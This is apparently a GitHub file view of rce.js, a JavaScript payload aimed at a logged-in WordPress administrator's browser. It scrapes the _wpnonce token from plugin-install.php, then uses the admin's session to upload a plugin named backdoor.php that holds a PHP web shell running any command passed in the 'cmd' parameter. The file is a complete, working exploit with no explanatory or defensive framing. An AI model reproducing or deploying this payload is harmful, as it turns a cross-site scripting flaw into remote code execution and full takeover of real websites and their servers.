-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathrce.js
41 lines (40 loc) · 1.91 KB
/
rce.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
var ajax = new XMLHttpRequest();
ajax.open("GET","/wordpress/wp-admin/plugin-install.php",true);
ajax.onreadystatechange = function(){
if(this.readyState == 4){
if(this.status == 200){
var re = /id="_wpnonce" name="_wpnonce" value="(\w+)"/;
var result = this.responseText.match(re);
var nonce = result[1];
var xhr = new XMLHttpRequest();
xhr.open("POST", "/wordpress/wp-admin/update.php?action=upload-plugin", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------106557699112863554041057400679");
xhr.withCredentials = true;
var body = "-----------------------------106557699112863554041057400679\r\n" +
"Content-Disposition: form-data; name=\"_wpnonce\"\r\n" +
"\r\n" +
nonce + "\r\n" +
"-----------------------------106557699112863554041057400679\r\n" +
"Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" +
"\r\n" +
"/wp-admin/plugin-install.php\r\n" +
"-----------------------------106557699112863554041057400679\r\n" +
"Content-Disposition: form-data; name=\"pluginzip\"; filename=\"backdoor.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php echo system($_GET[\'cmd\']); ?\x3e\r\n" +
"-----------------------------106557699112863554041057400679\r\n" +
"Content-Disposition: form-data; name=\"install-plugin-submit\"\r\n" +
"\r\n" +
"Install Now\r\n" +
"-----------------------------106557699112863554041057400679--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
}
}
ajax.send();